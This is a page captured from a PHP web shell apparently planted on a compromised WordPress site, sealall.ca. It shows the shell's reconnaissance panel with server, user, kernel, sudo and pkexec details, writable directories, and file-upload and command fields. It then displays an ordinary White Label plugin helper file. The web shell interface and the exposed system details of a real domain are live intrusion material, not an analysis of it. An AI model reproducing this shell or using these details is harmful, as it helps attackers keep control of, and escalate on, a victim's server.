403Webshell
Server IP : 127.0.1.1  /  Your IP : 127.0.0.1
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux sealall 5.15.0-179-generic #189-Ubuntu SMP Tue May 5 18:20:56 UTC 2026 x86_64
User : devops ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/domains/sealall.ca/wp-content/plugins/white-label/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/domains/sealall.ca/wp-content/plugins/white-label/functions/helpers.php
<?php
/**
 * General helper functions for White Label.
 *
 * @package white-label
 */

if (!defined('ABSPATH')) {
    exit; // Exit if accessed directly.
}

/**
 * Is current user a White Label Administrator.
 *
 * @return boolean true/false
 */
function white_label_is_wl_admin($current_user = null)
{
    // Check for preview mode parameter
    if (isset($_GET['white-label-preview-mode']) && sanitize_text_field($_GET['white-label-preview-mode']) === 'Y') {
        return false;
    }

    if (is_multisite()) {
        // Check if super admin for multisite.
        if (is_super_admin()) {
            return true;
        }

        $super_admin_only = get_site_option('white_label_mu_super_admin_mode');

        if ($super_admin_only && !is_super_admin()) {
            return false;
        }
    }

    $wl_admins = white_label_get_option('wl_administrators', 'white_label_general', false);

    if ($current_user === null) {
        $current_user = get_current_user_id();
    }

    if (empty($current_user)) {
        return false;
    }

    // If no White Label admins, then display for all admin.
    if (empty($wl_admins)) {
        return true;
    }

    // force integer on whole array.
    $wl_admins = array_map('intval', $wl_admins);

    if (in_array($current_user, $wl_admins, true)) {
        return true;
    } else {
        return false;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit